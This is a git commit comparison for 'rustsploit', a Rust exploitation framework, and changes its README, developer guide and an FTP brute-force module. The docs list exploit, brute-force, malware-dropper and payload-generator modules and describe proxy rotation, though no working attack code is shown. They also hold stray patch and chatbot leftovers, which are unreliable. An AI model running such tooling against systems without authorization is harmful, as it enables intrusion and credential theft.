Compare commits

..

4 Commits

Author SHA1 Message Date
S.B acefb37cfa Add interactive ping sweep and new scanner modules 2025-06-17 01:05:51 +02:00
S.B a942303323 Add new ping sweep and HTTP title scanners 2025-06-17 00:22:35 +02:00
S.B 6a4aa3a2ad Merge pull request #15 from s-b-repo/codex/improve-modules-and-optimize-code
Refine proxy selection and fix generator path
2025-06-17 00:07:54 +02:00
S.B 0b1c1a8c7a fix generator path and improve proxy selection 2025-06-17 00:06:52 +02:00
29 changed files with 973 additions and 2270 deletions
+2 -8
View File
@@ -1,6 +1,6 @@
[package]
name = "rustsploit"
version = "0.2.0"
version = "0.1.0"
edition = "2021"
build = "build.rs"
@@ -31,7 +31,7 @@ rustls = "0.23.26"
webpki-roots = "0.26.8"
suppaftp = { version = "6.2.0", features = ["async", "async-native-tls","native-tls"] }
native-tls = "0.2.14"
sysinfo = { version = "0.37.2", features = ["multithread"] }
sysinfo = { version = "0.34.2", features = ["multithread"] }
#telnet
threadpool = "1.8.1"
@@ -75,9 +75,6 @@ aes = "0.8.3"
cipher = "0.4.4"
flate2 = "1.0.30"
# for Roundcube exploit payload encoding
data-encoding = "2.5.0"
#avanti
url = "2.5.4"
semver = "1.0.26"
@@ -86,9 +83,6 @@ semver = "1.0.26"
pnet_packet = "0.34" # Or the latest compatible version
socket2 = { version = "0.5", features = ["all"] } # Or the latest compatible version
#pingsweep
which = "8.0.0"
[build-dependencies]
regex = "1.11.1" # required for use in build.rs
+162 -149
View File
@@ -1,202 +1,215 @@
# Rustsploit 🛠️
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, rich proxy support, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
A Rust-based modular exploitation framework inspired by RouterSploit. This tool allows for running modules such as exploits, scanners, and credential checkers against embedded devices like routers.
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/preview.png)
- **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
- **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
- **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
- **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
📚 **Developer Documentation**:
→ [Full Dev Guide (modules, proxy logic, shell flow, dispatch system)](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
---
### Goals & To Do lists
## Table of Contents
1. [Highlights](#highlights)
2. [Module Catalog](#module-catalog)
3. [Quick Start](#quick-start)
4. [Interactive Shell Walkthrough](#interactive-shell-walkthrough)
5. [CLI Usage](#cli-usage)
6. [Proxy Workflow](#proxy-workflow)
7. [How Modules Are Discovered](#how-modules-are-discovered)
8. [Contributing](#contributing)
9. [Credits](#credits)
---
## Highlights
-**Auto-discovered modules:** `build.rs` indexes `src/modules/**` so new code drops in without manual registration
-**Interactive shell with color and shortcuts:** Quick command palette, target/module state tracking, alias commands (`help/?`, `modules/m`, `run/go`, etc.)
-**Ergonomic proxy system:** Load lists, validate availability, choose concurrency/timeouts, and rotate automatically on failure
-**Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP brute force modules with IPv6 and TLS support where applicable
-**Exploit coverage:** Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
-**Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, StalkRoute traceroute (root), sample modules for extension
-**Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
-**Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
---
## Module Catalog
Rustsploit ships categorized modules under `src/modules/`, automatically exposed to the shell/CLI. A non-exhaustive snapshot:
| Category | Highlights |
|----------|------------|
| `creds/generic` | FTP anonymous & FTPS brute force, SSH brute force, Telnet brute force, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), RDP auth-only brute |
| `exploits/*` | Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE |
| `scanners` | Port scanner, ping sweep, SSDP M-SEARCH enumerator, HTTP title fetcher, StalkRoute traceroute (firewall evasion) |
| `payloadgens` | `narutto_dropper`, BAT payload generator |
| `lists` | RTSP wordlists and helper files |
Run `modules` or `find <keyword>` in the shell for the authoritative list.
---
## Quick Start
### Requirements
Convert exploits and add modules
# completed
```
added stalkroute a traceroute with firewall evasion requires root
added malware dropper narruto dropper
added refactored and fixed and improve alot of modules
added added new version of payloadgen
added smtp bruteforcer
added pop3 bruteforcer
added zte zte_zxv10_h201l_rce_authenticationbypass
added ivanti ivanti_connect_secure_stack_based_buffer_overflow
added apache_tomcat cve_2025_24813_apache_tomcat_rce
added apache_tomcat catkiller_cve_2025_31650
added palto_alto CVE-2025-0108. auth bypass
added acm_5611_rce
added zabbix_7_0_0_sql_injection
added cve_2024_7029_avtech_camera
added pachev_ftp_path_traversal_1_0
added ipv6 support for rstp rdp and ssh cant find any ipv6 address i cant test on so untested
added ftps support
added ipv6 support to ftp anon and brute
added rdp ipv6 support unable to find rpd ipv6 device to test on with shodan
added exploit openssh server race condition 9.8.p1 |Server Destruction fork |
bomb Persistence create SSH user | Remote Root Shell
added spotube exploit zero day exploit as of 24 april reported to spotube
added exploit tplink_wr740n Buffer Overflow 'DOS'
added exploit tp_link_vn020 Denial Of Service (DOS)
added exploit abussecurity_camera_cve 2023 26609 variant2 RCE and SSH Root Access adds persistant account
added exploit abussecurity_camera_cve 2023 26609 variant1 LFI, RCE and SSH Root Access
added exploit uniview_nvr_pwd_disclosure password disclore
updated docs again and readme
rework command system to automaticly detect new modules
added uniview_nvr_pwd_disclosure
added ssdp_msearch
added hearbleed info leak from server saved to a bin file
added port scanner
added ping_sweep network scanner
added http_title_scanner
added log4j_scanner
added heartbleed_scanner
added find command
updated docs
created docs
added wordlist for camera paths
added acti camera module
created bat payload generator for malware
added proxy support https/http socks4/socks5
telnet brute forcing module
ssh brute forcing module
ftp anonymous login module
ftp brute forcing module
added rtsp_bruteforce module
dynamic modules listing and colored listing
```
---
```
## 🚀 Building & Running
## 📦🛠️ requirements
`
sudo apt update
sudo apt install freerdp2-x11 # Required for the RDP brute force module
sudo apt install freerdp2-x11
for rdp bruteforce modudle
```
Ensure Rust and Cargo are installed (https://www.rust-lang.org/tools/install).
### Clone + Build
```
### 📦 Clone the Repository
```
git clone https://github.com/s-b-repo/rustsploit.git
cd rustsploit
```
### 🛠️ Build the Project
```
cargo build
```
### Run (Interactive Shell)
To build and run:
```
cargo run
```
To install:
```
cargo install
```
---
### 🖥️ Run in Interactive Shell Mode
Launch the interactive RSF shell:
```
cargo run
```
### Install (optional)
Once inside the shell:
```text
rsf> help
rsf> modules
rsf> show_proxies
rsf> proxy_on / proxy_off
rsf> proxy_load proxies.txt
rsf> find
rsf> use exploits/heartbleed
rsf> set target 192.168.1.1
rsf> run
```
cargo install --path .
```
🌀 Supports retrying proxies until one works (if proxy_on is enabled).
---
## Interactive Shell Walkthrough
The shell tracks current module, target, and proxy state. All commands are case-insensitive and support aliases:
### 🔧 Run in CLI Mode
#### ▶ Exploit
```
RustSploit Command Palette
Command Shortcuts Description
--------------- ------------------------- ------------------------------
help help | h | ? Show this screen
modules modules | ls | m List discovered modules
find find <kw> | f1 <kw> Search modules by keyword
use use <path> | u <path> Select module (ex: u exploits/heartbleed)
set target set target <value> Set current target (IPv4/IPv6/hostname)
run run | go Execute current module (honors proxy mode)
proxy_load proxy_load [file] | pl Load proxies from file (HTTP/HTTPS/SOCKS)
proxy_on/off proxy_on | pon / ... Toggle proxy usage
proxy_test proxy_test | ptest Validate proxies (URL, timeout, concurrency)
show_proxies show_proxies | proxies View proxy status
exit exit | quit | q Leave shell
```
Example session:
```
rsf> f1 ssh
rsf> u creds/generic/ssh_bruteforce
rsf> set target 10.10.10.10
rsf> pl data/proxies.txt # prompts if omitted
rsf> pon
rsf> proxy_test # optional validation / filtering
rsf> go
```
If proxy mode is enabled, Rustsploit rotates through validated proxies, falls back to direct mode only after exhaustion, and politely reports successes or errors.
---
## CLI Usage
Modules can be executed without the shell using the `--command`, `--module`, and `--target` flags:
```
# Exploit
cargo run -- --command exploit --module heartbleed --target 192.168.1.1
```
# Scanner
#### 🧪 Scanner
```
cargo run -- --command scanner --module port_scanner --target 192.168.1.1
# Credentials
cargo run -- --command creds --module ssh_bruteforce --target 192.168.1.1
```
Any module exposed to the shell can be called here. Use the `modules` shell command or browse `src/modules/**` for canonical names.
---
## Proxy Workflow
Rustsploit treats proxy lists as first-class citizens:
- Accepts HTTP, HTTPS, SOCKS4, SOCKS4a, SOCKS5, and SOCKS5h entries
- Loads from user-supplied files, skipping invalid lines with reasons
- Optional connectivity test prompts allow tuning:
- Test URL (default `https://example.com`)
- Timeout (seconds)
- Max concurrent checks
- Keeps only working proxies when validation is requested
- Rotates at run time; if all proxies fail, reverts to direct host attempts automatically
Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) are managed transparently per attempt.
---
## How Modules Are Discovered
Rustsploit scans `src/modules/` recursively during build. Each module should expose:
#### 🔐 Credentials
```
pub async fn run(target: &str) -> anyhow::Result<()>;
cargo run -- --command creds --module ssh_brute --target 192.168.1.1
```
Optional interactive entry points (`run_interactive`) can coexist. Module paths are referenced relative to `src/modules/`, for example:
---
- File: `src/modules/exploits/sample_exploit.rs`
- Shell path: `exploits/sample_exploit`
## 🌐 Proxy Retry Logic (Shell Mode)
See the [Developer Guide](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md) for scaffolding templates, async guidance, and tips on logging/persistence.
- If proxies are loaded and `proxy_on` is active:
- Random proxy is used from list
- On failure, tries another until successful
- If all fail, it runs once **without proxy**
---
## Contributing
## 📂 Module System
Contributions are welcome! High-level suggestions:
Modules are automatically detected using `build.rs` and registered as:
- Short: `port_scanner`
- Full: `scanners/port_scanner`
1. Fork + branch from `main`
2. Add your module under the appropriate category
3. Keep outputs concise, leverage `.yellow()/.green()` for status, and wrap heavy loops in async tasks when appropriate
4. Document usage patterns in module comments
5. Run `cargo fmt` and `cargo check` before opening a PR
Each module must define:
```
pub async fn run(target: &str) -> Result<()>
```
Bug reports, feature requests, and module ideas are appreciated. Feel free to log issues or reach out with PoCs.
Optional:
```
pub async fn run_interactive(target: &str) -> Result<()>
```
---
## Credits
## 🧼 Shell State
- **Project Lead:** s-b-repo
- **Language:** 100% Rust
- **Wordlists:** Seclists + custom additions (`lists/` directory)
- **Inspired by:** RouterSploit, Metasploit Framework, pwntools
The shell keeps:
- Current module
- Current target
- Proxy list + state
> ⚠️ Rustsploit is intended for authorized security testing and research purposes only. Obtain explicit permission before targeting any system you do not own.
No session state is saved — everything resets on restart.
---
## 💡 Want to Add a Module?
See the full [Developer Guide](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
Includes:
- ✅ How to write modules
- 🧠 Auto-dispatch system explained
- 📦 Module placement
- 🌐 Proxy logic details
- 🔍 Scanner vs Exploit vs Credential paths
---
## 👥 Contributors
- **Main Developer**: me.
- **Language**: 100% Rust.
- **Inspired by**: RouterSploit, Metasploit, pwntools
## 👥 Credits
- **wordlists*: seclists & me
---
-40
View File
@@ -1,40 +0,0 @@
Hardened rtsp_bruteforce_advanced by validating path, username, and password wordlists before spinning up tasks, and by falling back to a safe root path when a path list is empty to avoid runtime panics.
Added identical early-exit checks and trimming for the SSH brute-force runner so it fails fast when wordlists are empty instead of silently doing nothing.
Brought the FTP brute-force helper in line with the others by trimming entries, rejecting empty wordlists, and ensuring helper utilities only return meaningful credentials.
Proxy Improvements
Refined proxy loading to validate schemes/hosts/ports, capture parse errors, and expose optional connectivity testing via utils::load_proxies_from_file and utils::test_proxies, keeping only working entries when requested.
Enhanced shell commands: proxy_load now prompts for a path when omitted, reports skipped entries, offers a recommended “test proxies” prompt, and added a dedicated proxy_test command plus reusable prompt helpers.
Implemented interactive proxy-test workflow that gathers URL/timeouts/concurrency, filters failing proxies, and auto-disables proxy mode when none survive.
Shell UX Refresh
Reworked command parsing to support ergonomic aliases (help/h/?, modules/ls/m, find/f1, proxy_load/pl, etc.) and keep everything case-insensitive and whitespace tolerant.
Added a richer, colorized help palette that lists shortcuts and usage tips so “f1 ssh” style workflows are obvious.
Introduced helpers (split_command, resolve_command) to drive the new UX without changing existing behavior, plus guarded prompt utilities already in place.
README Refresh
Rebuilt the README into a professional GitHub-ready document with a TOC, feature highlights, module catalog summary, quick start commands, shell walkthrough (including the new shortcuts), CLI usage, proxy workflow, module discovery flow, and contributing/credits notes.
README Suite Updated
README.md already reflects the full feature set; no further changes needed.
docs/readme.md rewritten into a comprehensive developer guide covering architecture, module discovery, shell internals, proxy system, authoring practices, and roadmap items.
lists/readme.md expanded to document shipped wordlists, usage guidelines, and contribution notes so operators know how data files tie into modules.
Pingsweep.rs
improved and reworked
+286 -198
View File
@@ -1,253 +1,341 @@
# 🛠️ Rustsploit Developer Guide
> Reference manual for maintainers and contributors. Covers the architecture, build-time module discovery, shell ergonomics, proxy plumbing, and authoring guidelines for exploits, scanners, and credential modules.
# 🛠️ Developer Documentation: RouterSploit-Rust Framework
> This document details the internal architecture, auto-dispatch system, proxy retry logic, and step-by-step guide to writing modules for the Rust rewrite of RouterSploit.
---
## Table of Contents
## 🧠 Framework Philosophy
1. [Project Overview](#project-overview)
2. [Code Layout](#code-layout)
3. [Build Pipeline & Module Discovery](#build-pipeline--module-discovery)
4. [Shell Architecture](#shell-architecture)
5. [Proxy Subsystem](#proxy-subsystem)
6. [Command-Line Interface](#command-line-interface)
7. [Authoring Modules](#authoring-modules)
8. [Credential Modules: Best Practices](#credential-modules-best-practices)
9. [Exploit Modules: Best Practices](#exploit-modules-best-practices)
10. [Utilities & Helpers](#utilities--helpers)
11. [Testing & QA](#testing--qa)
12. [Roadmap & Ideas](#roadmap--ideas)
RouterSploit-Rust is a modular, async-capable, Rust-based rewrite of RouterSploit. Each module is standalone, invoked via:
- 📟 CLI (`cargo run -- --command ...`)
- 🖥️ Shell (`rsf>` prompt)
Goals:
- 🔒 Safe-by-default
- 📦 Cleanly separated modules
- ⚡ Async concurrency
- 🌐 Proxy-aware execution
---
## Project Overview
## 🗂️ Directory Structure
Rustsploit is a Rust-first re-imagining of RouterSploit:
- Async-native (Tokio) for scalable brute forcing and network IO
- Auto-discovered modules categorized as `exploits`, `scanners`, and `creds`
- Interactive shell + CLI runner referencing the same dispatch layer
- Proxy-aware execution with run-time rotation, validation, and fallback logic
- IPv4/IPv6-friendly: target normalization happens uniformly
- Carefully colored, concise output designed for operators on remote consoles
---
## Code Layout
```text
rustsploit/
```
routersploit_rust/
├── Cargo.toml
├── build.rs # Generates dispatcher code by scanning src/modules
── src/
├── main.rs # Entry point, selects CLI or shell mode
├── cli.rs # Clap-based CLI parser and dispatcher
├── shell.rs # Interactive shell loop + UX helpers
├── commands/ # Dispatch glue for exploits/scanners/creds
│ ├── mod.rs
│ ├── exploit.rs
│ ├── exploit_gen.rs # build.rs output
│ ├── scanner.rs
│ ├── scanner_gen.rs # build.rs output
│ ├── creds.rs
│ └── creds_gen.rs # build.rs output
├── modules/ # Fully auto-discovered attack modules
│ ├── exploits/
│ ├── scanners/
── creds/
│ └── utils.rs # Shared helpers (proxy parsing, module lookup, etc.)
├── docs/
│ └── readme.md # This document
├── lists/
│ ├── readme.md # Wordlist + data file catalogue
│ ├── rtsp-paths.txt
│ └── rtsphead.txt
└── README.md # Product overview
├── build.rs
── src/
├── main.rs # Entrypoint
├── cli.rs # CLI argument parser
├── shell.rs # Interactive shell logic
├── commands/ # Module dispatch logic
│ ├── mod.rs
│ ├── scanner.rs
│ ├── scanner_gen.rs
│ ├── exploit.rs
│ ├── exploit_gen.rs
│ ├── creds_gen.rs
│ └── creds.rs
├── modules/ # All attack modules
│ ├── mod.rs
│ ├── exploits/
── scanners/
│ └── creds/
└── utils.rs # Common utilities
```
Key takeaway: modules are just Rust files under `src/modules/**`. Add `pub mod my_module;` in the local `mod.rs`, and the build script handles the rest.
---
## Build Pipeline & Module Discovery
## 🔗 Module System
1. **`build.rs` scan:** Before compilation, build.rs walks `src/modules` (depth-limited) looking for `.rs` files that are not `mod.rs`.
2. **Signature detection:** If a file exposes `pub async fn run(`, it is treated as a callable module.
3. **Name generation:** Both a *short name* (`ssh_bruteforce`) and *qualified path* (`creds/generic/ssh_bruteforce`) are registered.
4. **Dispatcher emission:** Three files (`exploit_gen.rs`, `scanner_gen.rs`, `creds_gen.rs`) are emitted with exhaustive `match` statements that map names → `use crate::modules::...::run`.
5. **Shell + CLI usage:** When users invoke `use exploits/foo` or `--module foo`, the dispatcher resolves the actual function.
Because the dispatcher is generated at build time, there is no manual registry drift as long as modules live in the right folder and export `run`.
---
## Shell Architecture
The shell lives in `src/shell.rs`. Highlights:
- **Context:** `ShellContext` stores `current_module`, `current_target`, the loaded `proxy_list`, and `proxy_enabled` boolean.
- **Prompt helpers:** Inline functions prompt for paths, yes/no decisions, timeouts, etc.
- **Shortcut parsing:** `split_command` + `resolve_command` normalize input (e.g., `f1 ssh`, `pon`, `ptest`) to canonical keys.
- **Command palette:** `render_help()` prints a colorized table for quick reference.
- **Proxy tests:** `proxy_test` command triggers async validation via utils.
- **Run pipeline:** On `run`/`go`, the shell enforces:
- Module selected
- Target set
- Proxy state respected (rotate until success or fallback direct)
- Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) set/cleared per attempt
- **State reset:** On exit, nothing is persisted intentionally for OPSEC.
Extensions (tab completion, history) can be added by wrapping the loop with a line-editor crate, but are omitted today to keep dependencies minimal.
---
## Proxy Subsystem
Implemented in `utils.rs` and surfaced in the shell.
- **Loader:** `load_proxies_from_file` reads lists, normalizes schemes (defaulting to `http://`), validates host/port via `Url`, and tolerates comments or blank lines. Returns both valid entries and a list of parse errors (line number, reason).
- **Supported schemes:** `http`, `https`, `socks4`, `socks4a`, `socks5`, `socks5h`.
- **Tester:** `test_proxies` concurrently (Tokio) checks a user-chosen URL using `reqwest::Proxy::all`. Configurable timeout and max concurrency.
- **Result:** Working proxies are retained; failures are reported with the reason (connection refused, invalid cert, etc.).
- **Integration:** Shell invites the user to validate immediately after loading; `proxy_test` can also be used on demand.
Proxies are set globally via environment variables so both module HTTP requests and low-level sockets (if they honor `ALL_PROXY`) benefit.
---
## Command-Line Interface
`src/cli.rs` uses Clap to expose three commands:
- `--command exploit|scanner|creds`
- `--module <name>` (short or qualified, same mapping as the shell)
- `--target <host|IP>`
Example:
```bash
cargo run -- --command exploit --module heartbleed --target 203.0.113.12
```
If the module needs additional parameters, it can prompt interactively (e.g., brute-force modules ask for wordlists even in CLI mode). For automated pipelines, modules should provide sensible defaults or accept environment variables.
---
## Authoring Modules
Every module must export:
Each module is a Rust file with a required `run()` entry point:
```rust
pub async fn run(target: &str) -> anyhow::Result<()>
```
### Optional:
```rust
pub async fn run_interactive(target: &str) -> anyhow::Result<()> {
// internal prompts or logic
}
```
### Placement:
- Exploits: `src/modules/exploits/`
- Scanners: `src/modules/scanners/`
- Credentials: `src/modules/creds/`
Subfolders are supported:
- `exploits/routers/tplink.rs``tplink` or `routers/tplink`
- `scanners/http/title.rs``title` or `http/title`
---
## ✅ Adding a New Module
### 1. Create File
```rust
// src/modules/scanners/ftp_weak_login.rs
use anyhow::Result;
pub async fn run(target: &str) -> Result<()> {
// ...
run_interactive(target).await
}
pub async fn run_interactive(target: &str) -> Result<()> {
println!("[*] Checking FTP on {}", target);
Ok(())
}
```
Guidelines:
1. **Location:** choose one of `src/modules/{exploits,scanners,creds}`. Use subfolders for vendor families (e.g., `exploits/cisco/`).
2. **`mod.rs`:** add `pub mod your_module;` in the sibling `mod.rs`. Without this, the build script ignores the file.
3. **Async I/O:** prefer `reqwest`, `tokio::net`, `tokio::process`, etc. Synchronous blocking code should be wrapped with `tokio::task::spawn_blocking` where possible (see SSH module).
4. **Logging:** leverage `colored` for clarity, but keep messages short and actionable. Use `[+]`, `[-]`, `[!]`, `[*]` prefixes consistently.
5. **Error handling:** bubble up with context (`anyhow::Context`) so the shell/CLI surface meaningful errors.
6. **Wordlists / resources:** store under `lists/` and document them in `lists/readme.md`.
7. **Optional interactive mode:** If the module benefits from multiple code paths, optionally expose `run_interactive` and call it from `run`.
### Example skeleton
### 2. Register in `mod.rs`
```rust
use anyhow::{Context, Result};
pub async fn run(target: &str) -> Result<()> {
println!("[*] Checking {}", target);
let url = format!("http://{}/status", target);
let body = reqwest::get(&url)
.await
.with_context(|| format!("failed to reach {}", url))?
.text()
.await
.context("failed to fetch body")?;
if body.contains("vulnerable") {
println!("[+] {} appears vulnerable", target);
} else {
println!("[-] {} not vulnerable", target);
}
Ok(())
}
pub mod ftp_weak_login;
```
---
## Credential Modules: Best Practices
## 🧠 Auto-Dispatch System
Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP follow shared patterns:
The CLI/shell can call:
```bash
cargo run -- --command scanner --module ftp_weak_login --target 192.168.1.1
```
- **Input prompts:** ask for port, username/password wordlists, concurrency limit, stop-on-success toggle, output file, verbose logging.
- **Sanitation:** trim wordlist entries, skip blanks, provide early exits if lists are empty.
- **Concurrency:**
- Use `tokio::Semaphore` for asynchronous modules (FTP, SSH).
- Use `threadpool` + `crossbeam-channel` for synchronous protocols (Telnet, POP3, SMTP).
- **Adaptive throttling:** Some modules (FTP) sample CPU/RAM to avoid saturating the host.
- **TLS/STARTTLS:** Accept invalid certs for offensive tooling convenience, but note this clearly.
- **Result persistence:** Offer to write `host -> user:pass` pairs to a local file (in `./` by default).
- **IPv6:** Use helpers like `format_addr` to wrap IPv6 addresses in brackets and support port suffixes.
Or in the shell:
```
rsf> use scanners/ftp_weak_login
rsf> set target 192.168.1.1
rsf> run
```
Behind the scenes:
1. `build.rs` scans `src/modules/` recursively
2. Detects files with `pub async fn run(...)`
3. Generates:
- `exploit_dispatch.rs`
- `scanner_dispatch.rs`
- `creds_dispatch.rs`
4. Registers short + full names (e.g., `ftp_weak_login` + `scanners/ftp_weak_login`)
---
## Exploit Modules: Best Practices
## ❌ What Not To Do
- **CVE referencing:** mention CVE IDs and vendor/product in comments and output.
- **Artifact handling:** If the exploit downloads or writes files (e.g., Heartbleed dump), store them in the current working directory or a named subfolder.
- **Clean-up:** If credentials or accounts are added (Abus camera module), explain the impact and clean-up instructions in output or comments.
- **Safety checks:** Validate responses before declaring success; false positives hurt credibility.
- **Options:** Use `prompt_*` helpers (borrow from existing modules) if end-user input is needed (e.g., RTSP advanced headers, extra path lists).
- ❌ No `run()` → wont dispatch
- ❌ Dont name multiple functions `run()` in one file
- ❌ Dont use `mod.rs` as a module — ignored by generator
- ❌ Dont forget to update `mod.rs` when adding modules
---
## Utilities & Helpers
## ⚙️ CLI Usage
`src/utils.rs` provides:
```bash
cargo run -- --command exploit --module my_exploit --target 10.0.0.1
```
- `normalize_target`: wrap IPv6 addresses in brackets, pass through IPv4/hosts untouched.
- `module_exists` / `list_all_modules` / `find_modules`: used by shell to present module inventory.
- Proxy helpers described earlier (`load_proxies_from_file`, `test_proxies`, etc.).
### Args:
Feel free to expand this file with reusable pieces (e.g., credential loader, HTTP header templates) to avoid duplication inside modules.
- `--command`: exploit | scanner | creds
- `--module`: file name of module
- `--target`: IP or host
---
## Testing & QA
## 🖥️ Shell Usage
1. **Static checks:** `cargo fmt` and `cargo clippy` (where available).
2. **Build:** `cargo check` ensures new modules compile.
3. **Runtime smoke tests:**
- Shell: `cargo run``modules` → run a harmless module (e.g., `scanners/sample_scanner`).
- CLI: `cargo run -- --command scanner --module sample_scanner --target 127.0.0.1`.
4. **Proxy validation:** Load a mixed proxy file and confirm `proxy_test` filters entries correctly.
5. **Wordlists:** Validate that required lists exist (e.g., RTSP paths) and are referenced in docstrings.
```bash
cargo run
```
When adding new modules, include short usage documentation (stdout prints, README notes) so other operators know how to drive them.
Then:
```
rsf> help
rsf> modules
rsf> use scanners/heartbleed_scanner
rsf> set target 192.168.0.1
rsf> run
```
Maintains internal state:
- `current_module`
- `current_target`
- `proxy_list`
- `proxy_enabled`
---
## Roadmap & Ideas
## 🔁 Proxy Retry Logic (Shell Only)
- Interactive shell improvements (history, tab completion, colored banners)
- Automated module testing harness (mock servers for POP3/SMTP/RTSP)
- Credential module templates (derive-style macros for common prompts)
- Integration with external wordlists (dynamic download or git submodules)
- Session logging (`tee` support) and output JSON export for pipeline ingestion
- Transport abstractions for UDP/DoS modules
Proxy logic only applies in shell mode (`rsf>`).
Contributions are welcome—open an issue or start a discussion before large refactors.
### Flow:
1. User types `run`
2. Shell checks:
- Module is selected?
- Target is set?
- Proxy enabled?
---
Happy hacking, and remember: **authorized testing only**. Commit messages and module descriptions should always reflect controlled research usage. !*** End Patch
### Case 1: Proxy ON, Proxies LOADED
- Create `HashSet<String>``tried_proxies`
- Loop:
- Pick random untried proxy
- Set `ALL_PROXY` using:
```rust
env::set_var("ALL_PROXY", proxy);
```
- Call `commands::run_module(...)`
- On success: stop
- On error: mark proxy as failed, try another
- If all proxies fail:
- Clear proxy env:
```rust
env::remove_var("ALL_PROXY");
```
- Try once directly
---
### Case 2: Proxy ON, No Proxies Loaded
- Show warning
- Clear `ALL_PROXY`
- Run once directly
---
### Case 3: Proxy OFF
- Clear proxy vars
- Run module once
---
### Summary Flow:
```
If proxy_enabled:
while untried proxies:
pick → set env → run → if fail → mark tried
if none work → clear env → try direct
else:
clear env → try direct
```
---
## 🧪 Module Execution Flow
Whether via CLI or shell:
1. `commands::run_module(...)`
2. Determines type: `exploit`, `scanner`, or `cred`
3. Calls correct dispatcher
4. Dispatcher calls `run(target).await`
5. Output shown to user
---
## 🛑 Error Handling
- All modules must return `anyhow::Result<()>`
- Errors are caught and shown cleanly in CLI or shell
---
## ⚡ Async Features
- Entire framework is powered by `tokio`
- All I/O modules are `async`
- Use `tokio::spawn`, `FuturesUnordered`, etc. for concurrency
---
## 📡 Making Requests
Use `reqwest`:
```rust
let resp = reqwest::get(&url).await?.text().await?;
```
Or with client:
```rust
let client = reqwest::Client::new();
let resp = client.post(&url).json(&data).send().await?;
```
✅ All requests respect `ALL_PROXY`
---
## 🧪 Example Use Cases
### CLI
```bash
cargo run -- --command creds --module ftp_weak_login --target 192.168.1.100
```
### Shell
```bash
rsf> use creds/ftp_weak_login
rsf> set target 192.168.1.100
rsf> run
```
---
## 🧼 Shell Reset
No session data persists. When restarted, shell forgets all settings — no saved targets or modules (by design).
---
## 🔐 Adapting CVEs
To build a real-world exploit:
- Convert PoC to async Rust logic
- Validate by checking known response headers/content
- Place it in the right folder and wire `run()`
TCP/UDP logic:
```rust
use tokio::net::{TcpStream, UdpSocket};
```
---
## 💡 Feature Roadmap
add more exploits etc
---
## 👥 Contributors
- **Main Developer**: me.
- **Language**: 100% Rust.
- **Inspired by**: RouterSploit, Metasploit, pwntools.
Would you like this exported as a `DEVELOPER_GUIDE.md` file now? I can generate it for you in exact GitHub-flavored markdown.
+1 -33
View File
@@ -1,33 +1 @@
# 📚 Rustsploit Data Files
This directory contains reference lists and helper payloads consumed by modules under `src/modules/**`. Keep this README up to date whenever a new list is added so operators understand the expected format and typical usage.
---
## Available Files
| File | Used By | Description |
|------|---------|-------------|
| `rtsp-paths.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Candidate RTSP paths to brute force when enumerating stream URLs (e.g., `/live.sdp`, `/Streaming/channels/101`). One entry per line; comments can be added with `#` at the start of a line. |
| `rtsphead.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Optional RTSP header templates. When the user enables “advanced headers,” the module loads this file and injects each header line into outbound requests. Keep headers in `Key: Value` form. |
---
## Contributing Lists
1. **Naming:** Use lowercase and hyphens (`my-new-list.txt`) to remain compatible across platforms.
2. **Format:** Prefer plain UTF-8 text. Comment lines should start with `#` or `//` so loaders can skip them.
3. **Documentation:** Update this README with a row describing the file, the consuming module, and expected contents.
4. **Usage in modules:** Reference lists with relative paths or prompt the user for the filename. Most modules expect the user to supply the path (allowing custom lists), but shipping defaults in this directory helps bootstrap new users.
5. **Attribution:** If a list leverages community sources (e.g., SecLists), note that in the table and ensure licenses permit redistribution.
---
## Ideas for Future Lists
- `ftp-default-creds.txt` for anonymous login checks
- `telnet-banners.txt` to fingerprint devices before brute forcing
- `http-admin-panels.txt` for web interface discovery scanners
- Vendor-specific RTSP or ONVIF endpoint lists
Pull requests welcome—please include both the data file and an entry here. !*** End Patch
just lists like word lists
+14 -19
View File
@@ -1,5 +1,4 @@
use anyhow::{anyhow, Result};
use colored::*;
use suppaftp::{
AsyncFtpStream,
AsyncNativeTlsFtpStream,
@@ -107,16 +106,16 @@ pub async fn run(target: &str) -> Result<()> {
println!("\n[*] Starting brute-force on {}", addr);
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
let passes = load_lines(&passwords_file)?;
if passes.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
if !combo_mode && users.is_empty() && !passes.is_empty() {
return Err(anyhow!(
"Username wordlist ('{}') is empty, but password wordlist ('{}') is not. \
Cannot proceed in line-by-line (non-combo) mode as it requires usernames to pair with passwords.",
usernames_file, passwords_file
));
}
